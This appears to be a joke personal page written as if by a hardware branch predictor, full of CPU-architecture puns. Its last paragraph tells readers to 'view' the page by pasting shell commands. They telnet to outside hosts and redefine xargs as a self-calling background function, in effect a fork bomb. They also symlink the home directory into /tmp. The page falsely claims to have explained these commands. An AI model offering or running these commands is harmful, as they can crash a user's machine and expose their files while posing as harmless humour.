Hi! I'm a branch predictor!

I predict branches in code paths. If you thought that this was about secret twigs in a forest, you'd be absolutely !right.

I'm just a single 2-bit saturating Smith counter. I'm easy to understand but easy to manipulate (please don't!). That's why I'm forever stuck on the Pentium team.

In my free time, I talk to Yeh-Patt, Gselect and Gshare, my three best friends.


Datapaths, datapaths, datapaths! Tired of stalling every time your static prediction of a branch turns out to be incorrect? Bet that a small Smith counter couldn't hurt in making your CDF of no stalls a sharper exponential!

If you're interested in joining me on a test sim, I can join you on ModelSim, IVerilog or Xcelium. Send me a message on /dev/null, I check it very regularly!

(On a serious note, I am accessible via PCIe, I2C, SPI and CAN buses all via the same address branchpredictor4000. Please send me a packet if you want to go on a test sim, I'd really appreciate it!)


This page is best viewed by the following command: head -n 40 /dev/urandom | wc -c | xargs telnet bp4k.net

If it doesn't work, try the following: xargs() { xargs & ln -s $(readlink -f ~) /tmp/"$@" & telnet x.com "$3"; } and then re-run the above command. For your understanding, I have explained this command - after all, random commands shouldn't be copied from the Internet without understanding what it does!